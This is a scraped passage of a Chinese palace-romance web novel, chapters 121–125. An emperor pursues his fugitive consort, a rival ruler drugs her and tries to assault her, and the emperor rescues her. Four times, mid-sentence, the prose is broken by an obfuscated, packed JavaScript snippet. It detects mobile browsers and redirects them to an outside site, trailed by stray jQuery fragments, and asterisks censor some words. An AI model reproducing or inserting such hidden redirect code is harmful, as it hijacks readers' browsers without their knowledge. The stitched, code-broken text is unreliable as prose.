江向晚脸色顿时涨红,狠狠地咬着下唇,转身出了营帐。 她千千迢迢的赶到这里,想给他一个惊喜,没想到就看到了这一幕,喆他竟然亲吻一个男人,那满脸的柔情狠狠地刺痛了她的双目。他见了她进去,不仅没有停下来,反而赶她出去,难道是嫌她打扰了他么? 北宫喆的吻独有他的霸道而温柔,清凉的气息令人很容易沉陷,安文夕渐渐被吻得透不过气来,北宫喆这才意犹未尽的在她的红唇上啄了一口。 看着被他允红的唇瓣,北宫喆眼底的冰霜逐渐消逝,渐渐生出一抹温柔来。松开了她的双手,刚欲撕开她脸上的**,安文夕咬牙狠狠地甩上去一巴掌。 “滚!亲一个男人,你也不嫌恶心!”安文夕顿时后退几步,警惕的盯着北宫喆,眼尾向四周扫去,她想离开这里! 北宫喆脸色一寒,一步步逼近她,“安文夕,你还要装么,你若是想装,朕就陪你装到底!”北宫喆再次抓住安文夕的手,大手探向她的胸前。 “你放开我!”安文夕怒道。 北宫喆听着熟悉的女声,将她扣在怀里,嗤笑道:“不装了?” “北宫喆,你到底想要干什么?” “朕干什么?你那日私自出逃就该想到会有今日。” 见她不再反抗,北宫喆稍稍松了些力气,迎着她不甘的双眸,捏着她的下巴,令她迎着他的视线无法躲避,“你说现在朕是叫你安文夕还是该叫你凤公子,嗯?你和慕容清同盟来对付朕,就是这样的手段么,播下瘟疫,牺牲这济州满城的百姓?” 面对他的质问,安文夕一个字都说不出来,这件事她毕竟和她有关,不是么? “瘟疫这件事我不会袖手旁观,我会想办法阻止瘟疫蔓延。” 北宫喆眼底渐渐泛起薄怒,“你阻止?这场瘟疫的病源来自水中,且通过水源传染,你要如何阻止?” 百姓生存离不开水,这就意味着根本无法阻止这场瘟疫的传播。 安文夕咬唇,“既然慕容清在水中下了瘟疫,那么他手中就一定有解药。”慕容清既然这么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然今天的江向晚有些反常,不管她玩什么把戏,她都不能让自己在她这里落了下风。 “你——”江向晚恨恨咬牙,她原本是打算气的逼安文夕出手,没想到反被她气的半死。 江向晚一把抽出腰间的长剑,朝安文夕刺去,反正谁先出手都是一样的,她要的就是这个结果罢了。 呵……说不过就要动手了么? 安文夕也不甘示弱,旋身抽出腰间的七节鞭,好久没有使鞭,手都痒了呢! 江向晚虽然看着招招狠戾,实际却没什么力道,不过片刻,江向晚额头上便出了一层细汗,就连气息也有些喘了。 她不甘心的提剑再次刺来,安文夕毫不费力的侧身一避,然手一把抓住江向晚的纤腰,直接扔出了帐外。 “啊!”江向晚惨叫一声,重重的跌落在地,蓦地吐出了一大口鲜血,嘴角挂了抹血迹。 看守营帐的侍卫顿时慌了神,立即惊呼道:“江小姐……” 第122章 是个美人 第一百二十二章是个美人 江向晚眸光一黯,厉声道:“不许碰我!” 她吃力的撑起身子,对着四周喊道:“左言,左言送我去找月公子。” 隐在暗处的左言立即现身,蹙了蹙眉,一把抱起了地上的江向晚,眼尾扫了眼营帐内,皇上命他寸步不离的看着瑾淑妃,可是若是江小姐有个三长两短的话,他也担待不起。 左言犹豫了一下,抱着江向晚走向月清绝的营帐。 安文夕隔着帐帘看着外面的这一幕,挽了黛眉,难道刚才江向晚一直在逼她出手,还故意被自己打伤,目的就是将左言引走,可是她为什么要帮她? 安文夕嘴角微勾,这江向晚真是用情至深,竟然用这种方法让她离开北宫喆。 没有了左言,单凭这两个侍卫,简直是小菜一碟。 “砰——” 营帐内突然传出一声巨大的响声,守在营帐门口的两个侍卫对视了一眼一同进了营帐。 与此同时,安文夕从一旁出来,悄无声息的溜出了大营。 刚才的那两位侍卫看着空无一人的营帐顿时傻了眼,想起皇上那句令人胆颤的提头来见,二人不禁背脊一寒。 “去,去禀告皇上,人……人不见了!” 月清绝此时正盯着罐子里从附近河流中取来的水眉头紧蹙。 “多久才能配出解药?” 月清绝瞥了北宫喆一眼,努嘴道:“你当是变戏法呢,哪有这么容易?” 北宫喆面上一沉,“三日后,朕要看到解药。” “这么短的时候,你干脆直接杀了我。” “多一天就得多死几百人!” “这样吧,明日我去给染了瘟疫的百姓问诊,至少可以减少些死亡。” “也好,朕明日随你一起去。” 月清绝一听,立即反对道:“你这不是胡闹么,你如是有什么闪失,大夏的江山怎么办,天下的百姓怎么办?” “你以为,你一旦有事,老爷子会放过朕?” 月清绝猛地摇了摇头,肯定道:“不能。” “皇上,月公子。”左言抱着江向晚匆匆赶来。 北宫喆扫了眼左言怀中的江向晚,看着她嘴角的血迹,冷道:“怎么了?” “喆,我……”江向晚立即挣扎着从左言怀中下来扑向北宫喆。 “皇上,瑾淑妃她……她将江小姐打伤。” “喆,我没事的,瑾淑妃她……她不是故意的。”江向晚急忙解释道。 北宫喆双眸如沁寒冰,看着脸色丨微微发白的江向晚,嘴角的弧线都冷了几分。 “她呢?”冰凉的眼神朝左言射去,“朕不是命你看着她么?” “皇上,瑾淑妃她还在营帐内呢,属下担心江小姐……” 北宫喆双瞳骤缩,身形一闪,掠出了营帐,江向晚立即跌跌撞撞的追了上去。 月清绝无奈的瞥了眼左言,摇头道:“你这次可是惹了**烦,安文夕和江向晚她们两个谁在皇上心中的地位重要你还不清楚么?” “可是,江小姐她……” “笨死你算了。”月清绝忍不住敲了下左言的脑袋,“她还有力气追人,就没有力气自己走到我这里了?” 左言微微一愣,顿时明白了江向晚的意图。 月清绝叹了句,“真是个死脑筋。” 江向晚有些慌了,自己被安文夕伤得如此之重,他都没有过问半句,反而急不可待的去找她,难道他一点也不在意她么? “噗——”江向晚一阵气血翻涌,不受控制的吐出一口鲜血,剧烈的咳嗽起来。 北宫喆顿时停下脚步,拧眉,“身子不好,就不要到处添乱。” 江向晚蓦地惊在了原地,他竟然嫌她添乱? “喆,你说什么……”她忍着疼痛追了上去,拦住北宫喆的去路。 “够了晚儿,朕念在多年情谊的份上一次次容忍你,并不代表你做的那些事情朕什么都不知道。” “我做的那些事情?”江向晚身子一颤。 “在清河,你先是劫了夕儿,将她丢进了奴隶市场;朕归朝时,再次刺**告;夕儿白云貂**一事;尚凝萱落水诬陷夕儿一事;还有百水崖一事,也是你一手策划的吧,还要朕说么!” 北宫喆每说一句,江向晚的肩膀就微颤一下。 “朕已经容忍你够久了,若是这些事情换了第二个人,朕早就将她挫骨扬灰,不要再去招惹夕儿!朕对你太失望了,你还是那个善良纯真的晚儿么?”北宫喆眼底划过一抹痛色。 “喆,我做的这些都是为了你,为了你啊!”江向晚颓唐的跌坐在地上,嘤嘤的啜泣了起来,仿佛要将所有的委屈全部发泄出来。 过了半晌,有只手朝她伸来,江向晚以为是北宫喆折了回来,顿时一喜,待看到惊魂担忧的目光,她脸上浮现的笑意顿时一僵。 惊魂不由分说将她拉了起来,叹道:“这样的你真的一点都不可爱,这不是你晚儿,你看看你如今都变成了什么样子了,为了他值得么?” 江向晚一把甩开他的手,嘶吼道:“怎么不值得,为了他,我命都可以不要!我活着一切都是为了他,为了他啊!” 惊魂心中涌出涩意,双眸一黯,从怀里掏出来一方手帕,递到她的手中,“擦擦吧。” 江向晚看着手心中的方帕,咬了咬唇,只听得惊魂又道:“不必还了,你用完扔掉便是。” 江向晚抬头,惊魂已经走远,身形略显萧瑟。 北宫喆匆匆来到马厩,翻身跃上他的蹄血玉狮子,狠狠的夹了马腹,朝沐阳的方向奔了过去,希望夕儿不要发生什么事情,不然他必会将慕容清**万段! 安文夕从营帐出逃时顺道从马厩里偷了一匹汗血马,朝沐阳疾驰而去,看着一路上呻吟不断的染病百姓和越堆越高的尸体,黛眉紧紧挽了起来。 济州离沐阳不过百里的距离,安文夕快马足足跑了三个时辰,抵达了沐阳青华宫。 安文夕不待通报,急急地闯进了青华宫。 “快,拦住她,拦住她!” 安文夕冷冷扫了一眼,挥动手中的七节鞭将人全部摔进不远处的湖水中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408941|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一路走来,仅有一些守卫阻拦,故而这一路倒显得有些畅通无阻。 安文夕收了七节鞭,踏进了主殿,殿内冷清的厉害,没有生火龙,就连炭火也没有,甚至连周遭的空气都冷了几分。 高阶之上,端坐在龙座上的男子锐利的黑瞳径直的朝她看来。 “凤公子,朕等你多时了。” 安文夕蓦地一滞,心头升起一抹不好的预感,眼尾扫了眼四周,觉得这殿内有种说不出来的奇怪。 “慕容清你所说的将北宫喆逼至沐阳,就是用瘟疫的办法么?” 慕容清有些玩味的打量着她,眼底有一抹精光,仿佛就像是在看猎物一般,那种直直窥探的眼神令安文夕一阵毛骨悚然。 “真是卑鄙无耻,像你这样残暴的人真是玷污了这身明黄!”安文夕咬牙,扬起长剑指着他,“你赶紧将解药交出来!” 慕容清对于她的谩骂不禁没有半分恼怒,嘴角的笑意反而愈加扩大,一步步拾级而下,慢慢走到她的面前,眸光微凛,“凤公子,骂够了?” “少废话,解药呢,不然的话,咱们似乎也没必要继续结盟了!” 慕容清倏地笑了,“那晚你见过冷绝了吧,就是你们口中的李管家。” 这一句声音不大,却在安文夕心里嫌弃了巨大的涟漪,慕容清这么问,那么那晚他的目的不是要将他们留下,而是想让他们将李管家带走!那么,他现在就是已经知道她的身份了。 看着安文夕脸上不起波澜,慕容清笑的老谋深算,“十公主。” 安文夕嘴角勾笑,“慕容清,那些百姓皆是无辜之人,赶紧交出解药,我想你想重建北襄,不想得到一座座空城吧。” “解药?你以为你来到了青华宫,还能出得去?” “呵,试试不就知道了!”安文夕一把扔掉手中的长剑,蓦地靠近慕容清,趁他不备,抽出腰间的七节鞭将他一圈圈的锁了起来。 “我就不信,我绑了你,你的属下会无动于衷。” 慕容清丝毫没有反抗,任由安文夕绑了个结结实实,半晌幽幽道:“十公主,你现在还能拖得动朕?” 安文夕顿时一惊,蓦地发觉自己四肢一下子瘫软了下来,竟然丝毫使不出力气,不好,她的内力被封住了!现在脑袋也一阵阵发晕,这种症状来得突然却十分剧烈。 安文夕敛了神色,却依稀可以辨出冷煞空气中若有若无的冷香。 “慕容清,你对我下了药?” “朕只不过是想让十公主放松一下。”慕容清说着解开自己身上的七节鞭,然后一把撕开她脸上的**。 **下的小脸莹白如玉,黛眉淡扫,杏目如含秋水,微微带了些怒意,贝齿晶莹,轻咬着那娇嫩欲滴的唇瓣。 “的确是个美人。”慕容清欲伸手挑起安文夕的下巴,她急急后退两步,警惕的打量着他,他的意图她渐渐明了,今日这分明就是一个陷阱! 慕容清嗤笑一声,“朕看你还能逃到哪里去?” 安文夕发觉体内渐渐升起一股燥热,妈.的,这个人还在**中混了**! 第123章 守身如玉 第一百二十三章守身如玉 她咬了咬牙,再次握紧了七节鞭,看着一步步朝她走来慕容清,她扬起七节鞭不料却被慕容清一把带进怀里,“你不如跟了朕,做这北襄的皇后。” 陌生的气息令她紧紧挽了黛眉,“放开我!拿开你的脏手!” “性子够烈,朕喜欢!”慕容清拦腰抱起了安文夕,大步跨向内室。 “北宫喆拥有的江山、美人,朕都要一一夺回来!”慕容清狠绝的话飘荡在空荡冷清的大殿内。 欢凉匆匆赶回了安景晟所在的客栈,急急地敲响了他的房门。 “进来。” “世子,大事不好了,公主被北宫喆带走了,这可怎么办?” 安景晟抬眸看来,神情依旧闲淡,“你不必担心,夕儿是被北宫喆带走了,又不是慕容清,能有什么事情?”他想那北宫喆爱她还来不及,怎么会舍得伤害她? 欢凉看着安景晟一副闲淡的模样,心中一阵窝火。公主为了他,连命都可以不要,他听见公主被北宫喆带走的消息就这么无动于衷么?北宫喆是爱着公主,可是谁知道他的爱有多深,公主现在是谋着他的命,祸着他的江山,他难道还依旧能够容得下公主么。 她咬了咬牙道:“欢凉怎么能不担心,公主这夏宫这半年,差点搭上半条命,旧伤未愈便添新伤,晟世子难道怕了那北宫喆,不敢去救公主么?” “欢凉,你放肆!”安景晟眸光一凛,“你在夕儿面前也是如此不分尊卑么?” “我……”欢凉单膝跪地道,“欢凉知错,欢凉也是太担心公主,请世子责罚。” “自己去门前跪上一个时辰!” “世子,公主她……” “静观其变,你老实等结果便是,我保证不会让夕儿出事!” 欢凉咬了咬唇,一步步退出房门,身后再次传来安景晟的声音道:“切记不可轻举妄动,否则只会连累了夕儿!” 欢凉脚步一滞,应声道:“欢凉知道了。” 待欢凉一走,华静香慵懒的靠在安景晟怀中道:“你真的要从南昭调兵?” “不,南昭路途遥远,就是调回了兵马,沐阳一战早就结束了,势必会来不及。” “哦?难道我们就在这里干等着,让慕容清和北宫喆相争?” 安景晟微微点头,“夕儿说得对,鹬蚌相争,渔翁得利。而且据我所知,夕儿在凤青轩还有一批人马,相信她会将这些人交给我。” 华静香嘴角微勾,纤柔的靠在安景晟胸膛上,长而卷的睫毛轻垂,掩去眼底一闪而过的厉色。 袭匀急急忙忙赶来,却看到欢凉跪在房门处,不禁气的跳脚,“我说你是不是傻,他让你跪你就跪,你的主子是公主,不是他安景晟!” “晟世子也是欢凉的主子。” 袭匀无语的翻了个白眼,从地上将欢凉一把拖起,“走,不跪了,谁爱跪谁跪!” “袭匀,你放开我!” “不放,我不允许你这么作践自己。”袭匀不由分说的将她拉近了他的房间。 “你不想救小师妹了?” “想,可是晟世子说让我等。”欢凉抿了抿唇。 “嘿,我说,今天你的脑子被狗吃了?他让你跪你就跪,他让你等你就等?想救小师妹,跟我走!”袭匀一把拉着欢凉出了客栈。 半个时辰后,欢凉猫着身子警惕的盯着前方的军营,蹙眉道:“这就是你说的办法?” 偷溜进军营也就算了,还偏偏找了个侍卫巡逻最多的地方,欢凉恨不得直接将他丢出去。 袭匀讪笑道:“这不是来得匆忙么。” “嗨,小丫头!”月清绝不动声色的从欢凉身后一把将她捞了下来。 “喂喂喂,你这个人怎么鬼鬼祟祟的躲到我们身后,你不知道人吓人吓**么?”袭匀一跃而下道。 “到底是谁在这里鬼鬼祟祟,难不成你们想偷窥军中机密?”月清绝双眸不停地在袭匀和欢凉身上打量着。 “我们来找公主。” “她不在这里。” “不在?你骗谁呢。” 月清绝冲袭匀翻了个白眼,转眸对欢凉道:“小丫头,别整天在脸上蒙着**,不透气!”早在枫月谷,他就已经识别了她的身份。 “月公子,你说公主不在这里?”难道公主自己逃了出去,她相信这里绝对困不住公主。 “她去找慕容清拿解药,估计现在差不多该到沐阳了。” “什么?”欢凉惊呼道,公主怎么这么冲动,那慕容清根本就是无耻小人,怎么可能能从他的手中拿回解药? “是不是北宫喆对公主说了什么?”一定是北宫喆激怒了公主! 月清绝耸了耸肩道:“本公子怎么知道他们两口子之间发生了什么。”要是个让北宫喆那小子发现他敢偷窥,非扒了他的皮不可。 欢凉眸光一敛,对袭匀道:“备马,走!” 月清绝立即拉住了她道:“你这个小丫头笨**,皇上都去了,还用得着你去,你就是去了,在那里也帮不了什么忙,还是老实的呆着这里等着……” “袭匀,走!”欢凉直接打断了月清绝。 袭匀身形一闪,带着欢凉直直掠了出去。 “喂喂,我说,好不容易来了,干嘛走这么快?”月清绝看着欢凉的背影道。 —— 青华宫内。 慕容清洗浴完毕,拨开一层层厚厚的床幔,看到埋在被子里的小人儿,他抬手解了她的穴道,勾唇道:“朕向来不强迫女人。” 此时,安文夕脸色绯红一片,感觉整个人如同跌进云端一般,四肢瘫软的像一团棉花,脑袋晕成了一滩浆糊,唯一清醒的便是身体内不受控制的欲望。浑身燥热难耐,那一步步攀升的欲望夹带着阵阵热浪朝她席卷而来,几乎要将她全部吞噬,仅有的一点意识也逐渐湮灭。 慕容清颇有兴致的一点点揭开她的腰带,“既然这么热,脱了就好了。” “不,不要!”安文夕下意识的躲避。 “你会喜欢的,一会你就求着朕来满足你了。” 安文夕慌乱的避开他的大手,这种陌生的气息令她心中不安。 慕容清嗤笑一声:“难不成你还想为北宫喆守身如玉?”说着一把将安文夕身上的外衫一把撕烂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413724|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不,九哥哥!”安文夕蓦地睁开眼睛。 九哥哥?慕容清手中的动作一滞,随即厉声道:“朕真是没有想到有着国恨家仇,你还爱着他!” “九哥哥,九哥哥,救我……” 他手中的动作越发的残暴,粗鲁的扯下她的中衣、里衣,没想到她的内心深处对他竟然如此依恋,在她意识模糊之际,还叫着他的名字! “朕是慕容清,叫着朕的名字!”他大力的捏着安文夕的下巴,巨大的疼痛令安文夕眼中恢复了一瞬间清明。 握了握拳,却发现身子早就软成了一滩春水,拳头砸在慕容清身上仿佛是在拂痒一般。她的脑子逐渐混沌起来,慕容清的脸也变得模糊。安文夕咬着下唇,嘴腔内弥漫着浓郁的血腥,刺激着她的大脑阵阵清明。 “朕让你叫朕的名字!”慕容清敛着眉怒道。 安文夕使出全部的力道,提脚踹向慕容清的胯下。 慕容清脸色顿时一变,若不是她现在中了**,使不出力气,估计他这辈子就给废了,这个女人竟然如此歹毒! 大手一挥,安文夕身上贴身的里衣也被慕容清扔下了床榻,她浑身的血液一寸寸凉了下去。 慕容清看着她身上的亵衣亵裤,刚想一把扯下,突然却改变了注意,双手开始在她的身上游走,不断地挑起她的**。 “你所中的一沾娇霸道至极,若是不行房事便七孔流血而亡,朕倒要看看你还能撑多久!” 慕容清眼底有抹阴狠,他要这个高傲倔强的女人求他,迫不及待的在他的身下屈意承欢! 安文夕死死地咬着下唇,拼命的抑制着身体内那几乎要将她吞噬的欲望,眼底血红一片,在她的意识模糊之际,她的心里竟然渴望无比着那个人的到来。 蓦地,安文夕鼻头一热,殷红的鲜血汩汩流了出来,慕容清顿时一滞,他知道此时已经到了极致,没想到这个女人竟然可以忍到这一步。 慕容清伸手去脱安文夕身上的亵衣亵裤,眼底渐渐染上一层欲望。 这时,在他无暇注意的身后悄无声息的冒出了一个人影,那人扫了眼床上的场景,双眸一凛,抬手砸向慕容清的后颈,随即一把封住他的穴道,将他扔到床下,力道之中带了分狠戾。 慕容清为了不让人打扰,特地吩咐不许别人靠近他的寝殿,才让北宫喆轻松的来到了内殿。 “夕儿,我来了,九哥哥来了。”北宫喆摸了下安文夕的肌肤,烫的吓人,黑瞳骤缩,飞快的从怀中取出手帕,将安文夕的鼻血擦拭干净。 这一刻,安文夕看着身侧那道略有些模糊的身影,她在心中堆砌的高墙顿时坍塌,他终于来了,她的心蓦地一松。 她对自己道,这是她的九哥哥,不是北宫喆。 北宫喆吻了吻被她咬的不成样子的嘴角,心中陡然一软,她竟然一直都在等着他的到来,心顿时被温暖填满。 “夕儿,朕这就给你。” 安文夕在北宫喆脱衣之际,扯过脖子里的平安扣,舌尖舔了下被她放在里面的相思蛊的解药。 然后,她感觉身体上方那道身影俯身下来,温柔的吻着她的唇。 第124章 一切有他 第一百二十四章一切有他 北宫喆,虽然这个手段很卑鄙,但是我别无选择,我必须要解去相思蛊!安文夕热切的回应着他,感觉自己彻底被体内叫嚣着的热浪所吞噬,她只知道她现在渴望得到更多。 相思蛊解药的异香被安文夕嘴里浓郁的血腥所掩盖,北宫喆浅浅吸允着她的甜美,半晌,像是察觉了什么,他微闭着的双眸刹那间睁开。 看着身下脸色潮红,身子软成一滩春水的女子,北宫喆眸光一敛,眼底划过一抹痛色。 安文夕,在这个时候、在你意识清醒的刹那你所想的还是一步步算计朕么? 朕明明在你的眼中看到了渴望,为什么还要这样做? 既然你这么想解了这相思蛊,那就随你吧! 朕的心累了…… 随即北宫喆的大手霸道的扯下她身上所有的衣物,欺身而上,抵死缠绵,重重叠叠的床幔掩去了一室旖旎。 欢凉和袭匀快马加鞭匆匆赶来了沐阳,此时天色已晚,西边的红日渐渐沉入山头,只余下了天边璀璨耀目的云霞。 青华宫外高高的城墙将宫内的景色全部遮掩,城外外面四下巡逻的侍卫和平常无异,欢凉和袭匀轻车熟路的翻进青华宫。 由于上次来过青华宫,他们二人对这里的路径并不陌生,翻身跃下屋檐,脚步轻盈的掠在下面的鹅软石上,步子细碎而迅捷,一路过去,并无半点声响。 他们每走一处都小心的避开了宫内的侍卫,待靠近了主殿,袭匀猫着身子拉住了身侧的欢凉。 “这里隐在暗处的暗卫大略有五十人左右,单凭他们的气息,个个都是数一数二的高手,你我根本不可能从他们的眼皮子底下溜进主殿。” “不如我们来个调虎离山。” “这么多只虎,怎么调?” 欢凉拧眉,“那你说怎么办?” 袭匀薄唇一勾,淡道:“老办法,偷梁换日。” 一刻钟后,袭匀和欢凉换好了两个小太监的衣服,将地上的两个小太监封了穴道,然后提了御膳,缓步走进主殿。 “站住!”背后突然传来一阵清冷的女声令欢凉顿时心中一颤。 秋月一步步走近,沉声道:“不是说了晚一个时辰再送晚膳么?” 欢凉握紧了手中的食盒,这运气真是背到家了! 听到秋月的声音,袭匀觉得他刚刚痊愈的肩膀似乎又疼了起来,真是恨不得将这个伤了她的女人扔出去。 “先撤下去吧。” 欢凉和袭匀刚想转身,秋月冷冷的声音再次传来,“都把头抬起来!” 秋月紧紧锁住二人,她突然觉得这两个人有些奇怪。 欢凉和袭匀交换了下眼神,然后在抬头之际,一把抽出长剑,刺向秋月。 “有刺客!”秋月身子急急后退,身侧避过剑锋,长剑出鞘,立即和袭匀缠斗了起来。 欢凉看了他一眼,咬了咬牙,转身掠进内殿。 她身形一动,顿时从四面八方涌进数十个黑衣暗卫,齐齐拦住了她的去路,这架势,就是连蚊子也别想靠近主殿一步。 完了,计划失败! 欢凉和袭匀背靠着背,警惕的打量着四周。 “臭丫头,实施第二步计划!”袭匀对欢凉传音入密道。 欢凉眸光一沉,一把扯下身上的太监服,攀着袭匀的肩膀一跃而起,身子一翻,裙角随着她的动作而摆,一抔面粉顿时弥散开来,模糊了众人的视线。 “走!”袭匀趁乱抱着欢凉跃出了包围层。 “不好,有毒!” “咳咳……” 众人猝不及防,将面粉吸进鼻子里,引起一阵阵剧烈的咳嗽。 “是面粉!”确认不明粉末为面粉之后,众人稍稍放下心来,刚想运起内力,却发现只要用力,胸肺就火辣辣的疼,而且只要运力,内力就一点点的流逝。 那面粉根本就是毒粉! 秋月目光一凛,对着上方厉声道:“拦住他们!”然后她身形一闪,进了主殿。 此时,一番云雨之后,北宫喆又爱又恨的看着怀中睡熟的女人,忍不住在她的红唇上啄了一口,久久的舍不得松开她。 夕儿,你说,朕该拿你怎么办? 听到一阵轻浅的脚步声,北宫喆黑瞳蓦地一缩。 秋月远远的确认了一眼里面没有动静,再看了眼地上被撕烂的衣物,眼底飞快的闪过一抹落寞,抬脚欲走,肩胛处突然一痛,紧接着身子一僵,她再也迈不动脚步。 她被点穴了! 秋月警觉地打量着厚厚的床幔,想要透过它一探究竟。 到底是怎么回事,皇上不是在里面么,怎么会点她的穴道? 难道…… 秋月刚想大喊有刺客,却发现她的嗓子竟然发不出来任何声音,她的心蓦地一沉,一种不好的预感在她的心里肆意蔓延。 北宫喆卷起凌乱的衣物迅速的穿戴整齐,然后摇了摇安文夕的身子道:“夕儿,赶紧醒醒,朕带你回去!” 安文夕睁开迷离的睡眼,只觉得身子沉得厉害,由于中了**的缘故,她被欲望所控,一度放纵自己,任他肆意索欢,而现在双腿发酸,十分疲倦。 看着北宫喆一脸凝重,安文夕接过他递来的衣服赶紧穿好,顾不得浑身酸痛赶紧下了床,看着被定在不远处的秋月,顿时明白了什么。 “你,能走么?”北宫喆眼神略略有些担忧。 刚才的她,太过热情,他怕她太劳累。 “可以。”安文夕抿了抿嘴角。 北宫喆看了她一眼,不由分说揽住她的腰身,刚走了几句,听到外面的打斗,遂又折了回来,一把从床下将慕容清捞起,提着他再次出了寝殿。 秋月看着被北宫喆拖走的慕容清,心顿时沉到了谷底。北宫喆他是如何进来的,为何他们一点都没有惊觉? 秋月运气内力,想强行将穴道冲破,可是出乎意料的是这种点穴手法奇特,她根本就冲不开,此时她甚至连声音都发不出来,她的双眸一点点灰败下去。 主殿外,欢凉和袭匀正在勉强死撑,身上已然挂了彩,不少细碎的伤口此时正在流血。凭他们二人之力,根本就不可能对付得了慕容清的这几十个暗卫。 安文夕看着受伤的二人,黛眉轻挽,喊道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413725|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“欢凉,袭匀!” 众人听见她的喊声,手中的动作一顿,皆向她看来。 “小师妹!” “公主!”欢凉心中顿时一喜,顺着视线看去,公主身侧的北宫喆眉宇冷煞,手中提着的男人不正是慕容清么? “皇上——” “都给朕住手,不然朕这就杀了他!”北宫喆锐利的双眸扫了眼众人,眼底的冰霜令人不寒而栗,那份与生俱来的帝王自尊让人没由来的心中一颤。 欢凉和袭匀立即一左一右的护在了安文夕身侧。 袭匀扫了眼身上的伤,沉声道:“将你们手中的刀剑放下!”这些人竟然在他身上留下了这么多伤口! “走!”北宫喆一手提着慕容清,一手揽住安文夕,身形一跃而起。 “慢着,放开皇上!” “等我们安全了,自然就会放了他!” 刚才的那人对其他人使了个眼色,众位黑衣暗卫立即将他们团团围住。 “劫持皇上,其罪当诛!” “呵……”北宫喆冷蔑的掐着慕容清的脖颈,“你们若是再往前一步,朕就折断他的脖子!” 北宫喆话音一落,周遭顿时寂静一片,他的手劲很大,众人甚至能够听到清晰的骨头错位的咯咯声。 “皇上——”不少暗卫齐齐上前。 为首的那人抬手止住了众人的动作,咬牙道:“都不许动,放行!” 因为挟持着慕容清,北宫喆一行人轻松地出了青华宫,在宫门口处,北宫喆带着安文夕翻身上马,将手中的慕容清一把扔给了袭匀。 袭匀嘴角一抽,怎么都拿他做奴隶使?他无奈的将慕容清扔上马背,然后利索的上了马。 突然,城墙上寒光一闪,一支支泛着冰冷光芒的箭头对准了众人。安文夕只觉背脊一寒,立即回过头来,才发觉城墙上已经摆满了密密麻麻的弓箭。 “放!” 一时间,他们头顶上方顿时下起了一阵箭雨。 妈.的,这群人根本就不知道信用是什么!一群出尔反尔的小人! 安文夕正欲抽出腰间的七节鞭,身后的男人一把将她提到他的身后,紧紧的护在了她的身前,为她挡去了所有的羽箭。 心不受控制的狂跳了两下,慢慢浮出一抹暖意,她好像越陷越深了,真是剪不断理还乱! 安文夕咬了咬牙,甩出七节鞭,形成一道屏障,将前方的羽箭全部当在鞭外。 北宫喆双眸一敛,厉声道:“你来瞎逞什么能,老实的待在朕的身后。”他一一接住射下来的羽箭,然后将手中的箭全部掷向城墙,中箭的几人顿时跌下高高的城墙,发出一声声砸地的闷响。 这一幕,仿佛回到了从前,在他面前,她可以不强大,可以什么都不管,只因为一切有他。 欢凉由于身上有伤,应对起来,微微有些吃力,蓄满力气的羽箭擦过她握剑的胳膊,凌厉的箭锋带来一阵冷煞寒气。 袭匀大呼道:“小心!”他现在根本无暇去帮欢凉,心中涌出一阵焦急,一把将马背上的慕容清提起,挡在自己的身前,怒道:“奶奶的,有本事你往这里射!” 第125章 阶下之囚 第一百二十五章阶下之囚 他摸出**飞快的划破慕容清的脖子,流下一抹殷红的鲜血。 “将本公子逼急了,本公子就先宰了他!” 袭匀这一声如同在寂静的夜色中炸开了一记惊雷,城墙上顿时停止了放箭。 不远处传来阵阵急切的马蹄声,一道若隐若现的身影在漆黑的夜色中疾驰而来,而他身后,马蹄声声如雷,仿佛带了千军万马而来。 离得近了,众人才认了出来,来人正是风将军风明,他翻身下马,单膝跪在北宫喆面前道:“微臣救驾来迟,请皇上恕罪!” “起来吧。” 风明起身望了眼城墙,对着身后道:“弓箭手准备!” 因为脖子疼痛而转醒的慕容清眸光掠过满面冰霜、目光清冷的北宫喆时,微微一惊,他怎么在这里?慕容清不动声色看着眼前的这一幕,脑袋飞快的转了起来,立即明白自己这是被劫持了。后脑勺钝钝的有些疼意,浑身僵硬,根本动弹不得。 城墙上方的主帅看着下方整齐划一的弓箭手,一时犹豫不决,皇上在他们手中,有了刚才那一幕,此时,他再也不敢轻举妄动。 显然,下方的人根本没有给他留下思考的时间。 北宫喆厉声吩咐道:“回营!” 风明早就在沐阳扎营安寨,夏军大营离此处不过十里的距离,骑马最多半个时辰。 